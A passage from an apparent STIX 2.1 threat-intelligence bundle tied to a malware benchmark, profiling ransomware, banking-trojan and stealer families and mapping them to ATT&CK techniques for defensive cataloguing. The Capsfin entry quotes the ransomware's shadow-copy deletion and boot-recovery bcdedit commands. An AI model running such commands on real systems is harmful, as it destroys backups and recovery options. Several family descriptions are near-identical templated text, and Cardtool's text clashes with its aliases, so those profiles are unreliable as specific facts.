      "description": "Capredeam exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2aa50f19-0c6c-5fc8-86f1-b73f89a54fa8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Capsfin",
      "description": "Capsfin (cataloged across threat telemetry under designations including Ransom:Win32/Capsfin, Trojan-Ransom.Win32.Capsfin, and Ransom.Capsfin) is a specialized Windows crypto-ransomware family discovered targeting corporate and small-business file servers. Distributed through weaponized spam attachments, malicious macros, and compromised Remote Desktop Protocol (RDP) sessions, Capsfin executes thorough pre-encryption enumeration to identify local storage drives and mapped SMB shares. It terminates running database services and backup agents using net stop commands, deletes volume shadow copies with 'vssadmin delete shadows /all /quiet', and suppresses system recovery alerts via bcdedit commands ('bcdedit /set {default} bootstatuspolicy ignoreallfailures'). Capsfin encrypts files using AES-256 in CBC mode with session keys protected by an embedded RSA master public key, appending the '.capsfin' extension to locked files, and writes ransom notes ('HOW_TO_DECRYPT_FILES.txt') detailing Tor negotiation instructions. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Capsfin",
        "Trojan-Ransom.Win32.Capsfin",
        "Win32/Capsfin",
        "Ransom.Capsfin",
        "Capsfin Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Capsfin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/capsfin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--90288dcc-046d-5e08-baed-07902cde34ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Carambisdu",
      "description": "Carambisdu (classified in antivirus detection telemetry under designations including Trojan:Win32/Carambisdu, Trojan.Win32.Carambisdu, and Win32/Carambisdu) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Carambisdu executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Carambisdu",
        "Trojan.Win32.Carambisdu",
        "Win32/Carambisdu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Carambisdu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/carambisdu"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7ad2807-f0ea-5cef-b24c-13008a832d3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90288dcc-046d-5e08-baed-07902cde34ca",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carambisdu exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering tactics to drive installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec0ad65a-07f1-590e-ab5d-4b225e96b5e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90288dcc-046d-5e08-baed-07902cde34ca",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carambisdu exhibits technique T1547.001 (Boot or Logon Autostart Execution (Registry Run keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3faf2cf-8bf7-5324-8c85-ea9294afb2d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90288dcc-046d-5e08-baed-07902cde34ca",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carambisdu exhibits technique T1491.001 (Defacement: Internal Defacement (Persistent scareware pop-ups on the desktop))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--418a4bf9-b8ef-52b9-b3dc-e5a07ca81489",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Carbanak",
      "description": "Carbanak (also cataloged across international law enforcement and intelligence communities as Anunak) is an elite, multi-million dollar cyber heist malware framework first detected in 2013. Developed and deployed by the notorious FIN7 and Carbanak cybercrime syndicates, the malware was engineered for targeted financial espionage, remote bank intranet infiltration, and massive fraudulent asset liquidation.\n\nUnlike conventional retail banking trojans that steal consumer credentials, Carbanak infiltrated the internal corporate and operations networks of over 100 banks, financial institutions, and currency exchanges across 40 countries\u2014amassing over $1 billion in stolen funds. The operators performed meticulous lateral movement, surveilling bank employees via video capture to learn daily accounting workflows, before executing targeted money transfers over the SWIFT interbank network, altering Oracle database account balances, and commanding infected ATMs to dispense cash at predetermined times to physical money mule networks.\n\nIn March 2018, Spanish National Police, Europol, the FBI, and Romanian and Taiwanese authorities apprehended the alleged Carbanak syndicate ringleader (Denis Tokarenko, known as Denis Katana) in Alicante, Spain. Subsequently, the US Department of Justice (Western District of Washington) indicted several key FIN7/Carbanak managers and engineers, dismantling major portions of the group's operational infrastructure. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Carbanak",
        "Anunak",
        "FIN7 Toolkit",
        "Trojan.Carbanak",
        "Win32/Carbanak"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Carbanak",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/carbanak"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d2c7778-f6da-5496-b813-f25d064054ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--418a4bf9-b8ef-52b9-b3dc-e5a07ca81489",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carbanak exhibits technique T1125 (Video Capture (Recording clerks to learn banking procedures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6059b503-b607-526d-a8bb-026d597603bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--418a4bf9-b8ef-52b9-b3dc-e5a07ca81489",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carbanak exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f2e09458-77a2-5600-b8a7-231363608c16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1021: Remote Services (Lateral movement to critical bank infrastructure)",
      "description": "MITRE ATT&CK Technique T1021 (Remote Services (Lateral movement to critical bank infrastructure)) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1021",
          "url": "https://attack.mitre.org/techniques/T1021/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7d8124df-1d2e-59dd-99d3-61fac5b25cdd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--418a4bf9-b8ef-52b9-b3dc-e5a07ca81489",
      "target_ref": "attack-pattern--f2e09458-77a2-5600-b8a7-231363608c16",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carbanak exhibits technique T1021 (Remote Services (Lateral movement to critical bank infrastructure))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--7a6ff385-cacc-53fd-bc46-882346ed0da7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1488: Disk Wipe (Sometimes used to cover tracks after a heist)",
      "description": "MITRE ATT&CK Technique T1488 (Disk Wipe (Sometimes used to cover tracks after a heist)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1488",
          "url": "https://attack.mitre.org/techniques/T1488/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13b8d179-88ff-5961-a5c8-0551f0059233",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--418a4bf9-b8ef-52b9-b3dc-e5a07ca81489",
      "target_ref": "attack-pattern--7a6ff385-cacc-53fd-bc46-882346ed0da7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carbanak exhibits technique T1488 (Disk Wipe (Sometimes used to cover tracks after a heist))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a10c6fcb-9f5d-512c-8e72-ed706cf8e19d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Carberp",
      "description": "Carberp is an elite, highly sophisticated banking trojan and modular cyber espionage framework first identified in 2010. Developed by a well-organized Russian-Ukrainian cybercrime syndicate, Carberp was engineered to steal financial credentials, intercept one-time passwords (OTP), and manipulate online banking portals across Russian and international financial institutions.\n\nCarberp was a pioneer in stealth and kernel evasion: it incorporated kernel-mode bootkits (including the Rovnix bootkit engine), injected into legitimate system processes without touching disk, and hooked browser socket and cryptographic APIs to perform dynamic man-in-the-browser (MitB) content injection. In March 2012, the Russian Federal Security Service (FSB) and Ministry of Internal Affairs (MVD) arrested eight key members of the Carberp syndicate in Moscow and Odessa. In June 2013, Carberp's complete C source code was leaked online, providing the foundational blueprints and code modules used in subsequent advanced threats including Anunak/Carbanak, Dyre, and Dridex. (Observed samples in benchmark: 61)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Carberp",
        "Trojan.Carberp",
        "Win32/Carberp",
        "Backdoor.Carberp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Carberp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/carberp"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d0b00da-6d31-5a3f-9e00-abfe08eaabdc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a10c6fcb-9f5d-512c-8e72-ed706cf8e19d",
      "target_ref": "attack-pattern--ffd7b408-ecb7-571a-8d55-8263054af029",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carberp exhibits technique T1542.003 (Pre-OS Boot: Bootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c035fdd-c94b-5c9f-bbc7-7cd01e365875",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a10c6fcb-9f5d-512c-8e72-ed706cf8e19d",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carberp exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b98237b-3c22-5d48-a354-6c14af86f630",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a10c6fcb-9f5d-512c-8e72-ed706cf8e19d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carberp exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d731791c-68f7-56f0-9e77-46645218c9ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a10c6fcb-9f5d-512c-8e72-ed706cf8e19d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carberp exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4304d81b-a532-57f9-b72c-3bba8d26960c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a10c6fcb-9f5d-512c-8e72-ed706cf8e19d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Carberp exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aa6e2898-2010-5a64-9765-22db98c55ef9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cardinal",
      "description": "Cardinal (classified in antivirus detection telemetry under designations including Ransom:Win32/Cardinal, Ransom.Win32.Cardinal, and Win32/Cardinal) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cardinal executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Cardinal",
        "Ransom.Win32.Cardinal",
        "Win32/Cardinal"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cardinal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cardinal"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1795e23-bf0c-56a9-b0bf-54196c37f26f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa6e2898-2010-5a64-9765-22db98c55ef9",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardinal exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87e69619-4ed9-5f66-99a4-15d34017f710",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa6e2898-2010-5a64-9765-22db98c55ef9",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardinal exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e05859b-ee0d-5add-8267-3edcee2e740d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa6e2898-2010-5a64-9765-22db98c55ef9",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardinal exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (Encrypted C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d7dc36f-7c7c-5a44-91ec-15bcc817ddc1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aa6e2898-2010-5a64-9765-22db98c55ef9",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardinal exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4aa856f9-9bef-57ed-a866-63cf64b4fa12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cardspy",
      "description": "CardSpy is a specialized payment card and financial surveillance trojan active since 2013. Distributed through phishing emails, trojanized e-commerce utilities, and drive-by compromise, CardSpy runs covertly in the background monitoring active browser tabs and system memory for credit card numbers, CVV security codes, and cardholder billing profiles. The trojan employs heuristic regular expression matching to intercept payment card data before it is encrypted in browser web forms and exfiltrates captured credentials to remote C2 drop sites via encrypted HTTPS beacons. (Observed samples in benchmark: 44)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/CardSpy",
        "Trojan.Win32.CardSpy",
        "PWS:Win32/CardSpy",
        "Win32/CardSpy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cardspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cardspy"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bd6956b3-d7ca-5de7-af42-be969df26981",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aa856f9-9bef-57ed-a866-63cf64b4fa12",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardspy exhibits technique T1005 (Data from Local System)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99a7833d-5d90-5b6f-8f54-f05222bd9b0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aa856f9-9bef-57ed-a866-63cf64b4fa12",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardspy exhibits technique T1114.001 (Email Collection: Local Email Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7dfc653e-3be3-5135-bea5-473c7498ae79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aa856f9-9bef-57ed-a866-63cf64b4fa12",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardspy exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d20e8a48-a2f2-5b48-b3f6-6d18e2f38831",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aa856f9-9bef-57ed-a866-63cf64b4fa12",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardspy exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6905db88-aaf3-5112-8556-ea1856a8458e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4aa856f9-9bef-57ed-a866-63cf64b4fa12",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardspy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c2ccc964-d400-5c62-8117-b1b15cdde18b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cardtool",
      "description": "Cardtool (classified in antivirus detection telemetry under designations including Trojan:Win32/Cardtool, Trojan.Win32.Cardtool, and Win32/Cardtool) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cardtool executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.CardTool",
        "Riskware.Carder",
        "Tool.CCChecker",
        "Trojan:Win32/Cardtool",
        "Trojan.Win32.Cardtool",
        "Win32/Cardtool"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cardtool",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cardtool"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d7a11f7a-7131-5b5e-bb5b-4f6d1bda2a37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1589.001: Gather Victim Identity Information: Credentials (Relying on previously breached password lists)",
      "description": "MITRE ATT&CK Technique T1589.001 (Gather Victim Identity Information: Credentials (Relying on previously breached password lists)) under tactic Reconnaissance.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1589.001",
          "url": "https://attack.mitre.org/techniques/T1589/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18a44857-e6d0-50ee-a324-c54765ca2cde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2ccc964-d400-5c62-8117-b1b15cdde18b",
      "target_ref": "attack-pattern--d7a11f7a-7131-5b5e-bb5b-4f6d1bda2a37",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardtool exhibits technique T1589.001 (Gather Victim Identity Information: Credentials (Relying on previously breached password lists))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86e9c8ae-ca8e-50f4-97ff-91a5e9ed991b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2ccc964-d400-5c62-8117-b1b15cdde18b",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardtool exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca724318-a99a-59e1-bbd8-6eae23df2112",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2ccc964-d400-5c62-8117-b1b15cdde18b",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardtool exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdb2f8a7-8d27-581d-9291-4dc94a268080",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2ccc964-d400-5c62-8117-b1b15cdde18b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardtool exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a67732e3-61aa-59c3-9b58-f6cc8fce6e2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2ccc964-d400-5c62-8117-b1b15cdde18b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardtool exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ca103ab-ec27-5f38-919d-1e16eb8fcff2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2ccc964-d400-5c62-8117-b1b15cdde18b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cardtool exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9b9c7500-1689-5e08-b481-61b3e38592f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Carrobat",
      "description": "Carrobat (classified in antivirus detection telemetry under designations including Ransom:Win32/Carrobat, Ransom.Win32.Carrobat, and Win32/Carrobat) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Carrobat executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor 